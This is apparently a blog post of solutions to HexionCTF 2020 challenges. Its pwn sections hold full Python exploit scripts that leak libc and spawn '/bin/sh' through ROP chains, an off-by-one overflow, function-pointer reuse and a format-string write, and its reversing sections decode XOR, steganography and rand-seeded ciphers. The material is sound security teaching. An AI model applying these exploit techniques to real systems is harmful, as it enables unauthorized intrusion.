CTFするぞ

CTF以外のことも書くよ

HexionCTF 2020 Writeups

I played HexionCTF in zer0pts and we got 1st place. The tasks are decent-level, fun and well-designed. Thank you @hexion_team for the nice CTF!

f:id:ptr-yudai:20200413152906p:plain

Other member's writeup:

st98.github.io

Tasks and solvers:

bitbucket.org

[Pwn 940pts] WWW

Description: challenge[pwn] = me
Server: nc challenges1.hexionteam.com 3002
File: www, www.c, libc

PIE is disabled.

$ checksec -f www
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   69 Symbols     Yes      0               2       www

The program is so simple.

int main(void) {
        setvbuf(stdout, NULL, _IONBF, 0);
    int amount = 1;
    char buf[] = "Hello World!";
    while (amount--) {
        write(what(), where(), buf);
    }
    printf(buf);
}

We can overwrite a stack variable at a specific index with a specific character. You'll immediately notice that you have to overwrite amount first so that it won't quit.

We can simply overwrite the return address since PIE is disabled.

from ptrlib import *

libc = ELF("./libc")
elf = ELF("./www")
#sock = Process("./www")
sock = Socket("challenges1.hexionteam.com", 3002)

rop_pop_rdi = 0x004008a3

chain  = p64(rop_pop_rdi + 1)
chain += p64(rop_pop_rdi)
chain += p64(elf.got('printf'))
chain += p64(elf.plt('printf'))
chain += p64(elf.symbol('_start'))
# get infinite write
sock.sendline(str(-7))
sock.sendline(chr(len(chain)))
# overwrite return address
addr = elf.symbol('main')
for i, c in enumerate(chain):
    sock.sendline(str(0x25 + 8 + i))
    sock.sendline(chr(c))
sock.recvuntil('Hello World!')
libc_base = u64(sock.recv(6)) - libc.symbol('printf')
logger.info("libc = " + hex(libc_base))

chain  = p64(rop_pop_rdi + 1)
chain += p64(rop_pop_rdi)
chain += p64(libc_base + next(libc.find('/bin/sh')))
chain += p64(libc_base + libc.symbol('system'))
# get infinite write
sock.sendline(str(-7))
sock.sendline(chr(len(chain)))
# overwrite return address
addr = elf.symbol('main')
for i, c in enumerate(chain):
    sock.sendline(str(0x25 + 8 + i))
    sock.sendline(chr(c))

sock.interactive()

[Pwn 988pts] Hangman

Note: flag is in ./flag
Server: nc challenges1.hexionteam.com 3000
Files: hangman, hangman.c, words.list

SSP, PIE are disabled.

$ checksec -f hangman
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   95 Symbols     No       0               6       hangman

The vulnerability is off-by-one in guessWord fucntion.

    for (i = 0; i <= len; i++)
    {
        game->buffer[i] = (char)getchar();
        if (game->buffer[i] == '\n')
        {
            break;
        }
    }

The maximum length we can input is located right after the buffer, which we can overwrite.

struct hangmanGame
{
    char word[WORD_MAX_LEN];
    char *realWord;
    char buffer[WORD_MAX_LEN];
    int wordLen;
    int hp;
};

We can change wordLen to a big value, which causes stack overflow in the next call of guessWord. I wrote ROP chain to leak address and get the shell, but the intended solution is perhaps reading the flag as a wordlist (since libc is not given).

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./hangman")
#sock = Process("./hangman")
sock = Socket("challenges1.hexionteam.com", 3000)

rop_pop_rdi = 0x004019a3

# overwrite wordLen
payload = b'\xff' * 0x21
sock.sendlineafter("choice: ", "2")
sock.sendafter("word: ", payload)

# overwrite ret addr
sock.sendlineafter("choice: ", "2")
payload = b'\xff' * 0x40
payload += p64(rop_pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(elf.plt("puts"))
payload += p64(elf.symbol("_start"))
sock.sendlineafter("word: ", payload)
sock.recvline()
sock.recvline()
sock.recvline()
libc_base = u64(sock.recvline()) - libc.symbol('puts')
logger.info("libc = " + hex(libc_base))

# overwrite wordLen
payload = b'\xff' * 0x21
sock.sendlineafter("choice: ", "2")
sock.sendafter("word: ", payload)

# overwrite ret addr
sock.sendlineafter("choice: ", "2")
payload = b'\xff' * 0x40
payload += p64(rop_pop_rdi + 1)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))
sock.sendlineafter("word: ", payload)

sock.interactive()

[Pwn 998pts] Text Decorator

Description: I just finished my C course, so I wanted to show off my new skill. I made this cool program, that lets you decorate text and I think I did a good job. I'm sure my product is not perfect, but I think it's at least safe. Can you prove me wrong?
Server: nc challenges2.hexionteam.com 3001
Files: text_decorator, text_decorator.c, text_decorator.h, example.bin

PIE is disabled.

$ checksec -f text_decorator
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   97 Symbols     Yes      0               8       text_decorator

Hard to find, but the vulnerability is here:

if (is_decorator)
{
    line->type = DECORATOR;
    if(decorator)
        line->content.decorated.decorator = decorator;
    memcpy(line->content.decorated.text, line_content, MAX_LINE_LENGTH);
}

There're also a heap overflow vuln, but it's not necessary. You can see line->content.decorated.decorator will not be overwritten when decorator is null. Decorator is null when we don't decorate the line:

success = add_line(temp_text, is_decorated, ((is_decorated) ? choose_decorator_menu() : NULL));

and also when the decoration is wrong:

decorator_ptr get_decorator_ptr(char decorator_symbol)
{
        switch (decorator_symbol)
        {
        case 'r':
                return red_decorator;
        case 'g':
                return green_decorator;
        case 'b':
                return blue_decorator;
        default:
                printf("Invalid choice, no decorator will be used.\n");
                return NULL;
        }
}

So, if we choose something wrong as a decorator, it won't overwrite the function pointer. This means the leftover is regarded as a function pointer. We can prepare an arbitrary data here since it overlaps text buffer when it's not decrated.

typedef struct text_line {                                               
                union {                                                                 
                                struct {
                                                decorator_ptr decorator;
                                                char text[MAX_LINE_LENGTH];
                                } decorated;
                                char raw_text[MAX_LINE_LENGTH];
                } content;
                text_line_type type;
} text_line;

The function pointer is used in print_text function.

decorated_text = line->content.decorated.decorator(line->content.decorated.text);
printf("%s", decorated_text);
free(decorated_text);

The return value of our call must be a "free-able" pointer or null so that it won't crash. I'd been stuck here for a while because I couldn't find any useful gadget for getting the shell. However, it turned out I needn't to get the shell. There's a helpful function in the program.

void load_from_file(char * file_name)

It returns null as the canary check is successful (which means rax=0). This is why there's example input prepared.

from ptrlib import *

def add(text, color=None):
    sock.sendlineafter("choice: ", "1")
    sock.sendlineafter(":\n", text)
    if color is not None:
        sock.sendlineafter("? ", "Y")
        sock.sendlineafter("choice: ", color)
    else:
        sock.sendlineafter("? ", "n")

def show():
    sock.sendlineafter("choice: ", "2")
    lines = []
    while True:
        r = sock.recvline()
        if b"1. Add line" in r:
            break
        lines.append(r)
    return lines

def remove():
    sock.sendlineafter("choice: ", "3")

elf = ELF("./text_decorator")
#sock = Process("./text_decorator")
sock = Socket("challenges2.hexionteam.com", 3001)

plt_printf = 0x401080

add(p64(elf.symbol('load_from_file')))
remove()
add('flag\0', 'x')
sock.sendlineafter("choice: ", "2")

sock.interactive()

The final exploit itself is very simple, but it was really time-consuming :)

[Pwn 991pts] Tic Tac Toe

Description: Can you beat me?
Server: ssh ttt@challenges2.hexionteam.com -p 3004
Password: hexctf

The goal is to defeat the AI, which is impossible.

case PLAYER:
{                       // player won
  FILE *flag = fopen("flag", "r");
  fgets(message, 40, flag);
  puts(message);
  break;
}

The vulnerability is a simple FSB.

        puts("Please enter your name: ");
        scanf("%24s", name);
        getchar();
        snprintf(message, 100, "Welcome %s!\n", name);
        printf(message);

RELRO is enabled but there's a useful function pointer.

logic_func DIFFICULTY = IMPOSSIBLE;

The function makes AI moves, so I simply overwrote this to a ret gadget. The only hard point is to make the exploit work over SSH. I used socat to relay the terminal.

from ptrlib import *
import time

elf = ELF("./ttt")
"""
sock = Process("./ttt")
"""
sock = Socket("localhost", 9999)
sock.recvuntil("password: ")
sock.sendline("hexctf")

sock.recvuntil("$ ")
sock.sendline("./ttt")
#"""

# get infinite fsb
payload = fsb(
    pos = 8,
    writes = {elf.symbol('DIFFICULTY'): 0xcfe - 8},#0x2274 - 8},#0x0f30 - 8},
    bs = 2,
    bits = 64,
    null = False
)
print(len(payload), payload)
sock.sendlineafter(": \r\n", payload[:-1])
time.sleep(1)
sock.sendlineafter("ENTER to begin", "")
time.sleep(1)
sock.sendline("a a a sa a a sa a aq") # win lol

sock.interactive()

Socat option:

socat TCP-L:9999,reuseaddr,fork EXEC:"ssh ttt@challenges2.hexionteam.com -p 3004",pty,setsid,ctty

[Rev 988pts] Serial Killer

Description: The police had obtained some weird looking files, we'll let you figure out what they do.
Files: hex.gb, hex.sym

We're given a GameBoy ROM, along with its symbol table kindly. According to the symbol table, main function is located at 0x200.

I used Ghidra to analyse this binary. In the main function is the following loop. (After printing "Transfering Flag...")

  while (bVar2 = (byte)((ushort)uVar3 >> 8) ^ 0x80,
        (bStack3 ^ 0x80) < bVar2 || (byte)((bStack3 ^ 0x80) - bVar2) < (bStack4 < (byte)uVar3)) {
    DAT_c0c9 = (&DAT_c0a0)[CONCAT11(bStack3,bStack4)] ^ 0x42;
    FUN_02ae(DAT_c0c9);
    bStack4 = bStack4 + 1;
    if (bStack4 == 0) {
      bStack3 = bStack3 + 1;
    }
  }

It xors data located at 0xc0a0 with the key 0x42. Checking the XREFs of DAT_c0a0, we notice FUN_1e8d initializes the data.

void FUN_1e8d(void)

{
  DAT_c0a0 = 0x2a;
  DAT_c0a1 = 0x27;
  DAT_c0a2 = 0x3a;
  DAT_c0a3 = 1;
...

By xoring them with 0x42, I got the flag.

[Rev 977pts] PIL

Description: Our team detected a suspicious image, and managed to get a code of some sort, and we think they are related. Can you investigate this subject and see if you can give us more data?
Files: source, result.bmp

We're given a bitmap image and .NET IL code. .NET IL is human-friendly. I manually decompiled the IL to the following pseudo C# code.

using System;
using System.IO;
using System.Text.Encoding;

class Program
{
    File piFile;
    private static void Main(string []args)
    {
        piFile = File("one-million-digits.txt");
        Hide("original.bmp", "result.bmp", "<CENSORED>");
        return;
    }

    private static void Hide(string srcPath, string dstPath, string secret)
    {
        BitArray secret_bits = new BitArray(GetBytes(secret)); // stack.0
        Bytes buf[] = ReadAllBytes(srcPath); // stack.1
        int hoge = src[14] + 14; // stack.2
        for(int i = 0; i < secret_bits.length(); i++) { // stack.5
            int ofs = GetNextPiDigit() + hoge; // stack.3
            char x = src[ofs] & 0xfe; // stack.4
            buf[ofs] = (char)secret_bits[i] + x;
            hoge += 10;
        }
        WriteAllBytes(dstPath, buf);
    }

    private static int GetNextPiDigit() {
        int digit = piFile.ReadByte(); // stack.0
        if (digit == 0x0A) {
            digit = piFile.ReadByte();
        }
        return digit - 0x30;
    }
}

I simply wrote the decoder.

from ptrlib import *

pi = """
14159265358979323846264338327950288419716939937510
58209749445923078164062862089986280348253421170679
82148086513282306647093844609550582231725359408128
48111745028410270193852110555964462294895493038196
44288109756659334461284756482337867831652712019091
45648566923460348610454326648213393607260249141273
72458700660631558817488152092096282925409171536436
78925903600113305305488204665213841469519415116094
33057270365759591953092186117381932611793105118548
07446237996274956735188575272489122793818301194912
98336733624406566430860213949463952247371907021798
60943702770539217176293176752384674818467669405132
00056812714526356082778577134275778960917363717872
14684409012249534301465495853710507922796892589235
42019956112129021960864034418159813629774771309960
51870721134999999837297804995105973173281609631859
50244594553469083026425223082533446850352619311881
71010003137838752886587533208381420617177669147303
59825349042875546873115956286388235378759375195778
18577805321712268066130019278766111959092164201989
""".replace("\n", "")

with open("result.bmp", "rb") as f:
    f.seek(14)
    size = u32(f.read(4))
    f.seek(14 + size)

    flag = ''
    for j in range(64):
        c = 0
        for i in range(8):
            buf = f.read(10)
            c |= (buf[int(pi[j*8 + i])] & 1) << i
        flag += chr(c)

    print(flag)

[Rev 983pts] Nameless

Description: Strip my statically linked clothes off
Files: nameless, out.txt

The ELF is statically linked and stripped but it's so simple that I could decompile it within 5 min.

int main() {
  srand(time(NULL));
  FILE *fin = fopen("flag.txt", "r");
  FILE *fout = fopen("out.txt", "w");
  char c;
  while((c = fgetc(fin)) != -1) {
    fputc(c ^ (1 + (rand() % 1638)), fout);
  }
  fclose(fin);
  fclose(fout);
}

Since the files are distributed in rar archive, the date when out.txt was created is recorded. I wrote a script which decrypts the file until it finds the plaintext mostly made of printable characters.

from ptrlib import *
from datetime import datetime, timezone, timedelta
import ctypes
import string

def encrypt(data):
    out = b''
    for c in data:
        out += bytes([c ^ ((1 + (glibc.rand() % 1638)) & 0xff)])
    return out

with open("out.txt", "rb") as f:
    encrypted = f.read()

glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.27.so')

time = '2020/04/10 19:01:59'
date = datetime.strptime(time, '%Y/%m/%d %H:%M:%S')
print(date)
date += timedelta(hours=9)
print(date)
for t in range(int(date.timestamp()), 0, -1):
    glibc.srand(t)
    m = encrypt(encrypted)
    if consists_of(m, string.printable, per=0.9):
        print("Hit: " + str(t))
        break
    if t % 1000 == 0:
        print(t)

glibc.srand(t)
print(encrypt(encrypted))

Be noticed I added timedelta because the timezone is JST in my PC.

$ python solve.py 
2020-04-10 19:01:59
2020-04-11 04:01:59
1586545000
1586544000
1586543000
1586542000
Hit: 1586541672
b'hexCTF{nam3s_ar3_h4rd_t0_r3m3mb3r}'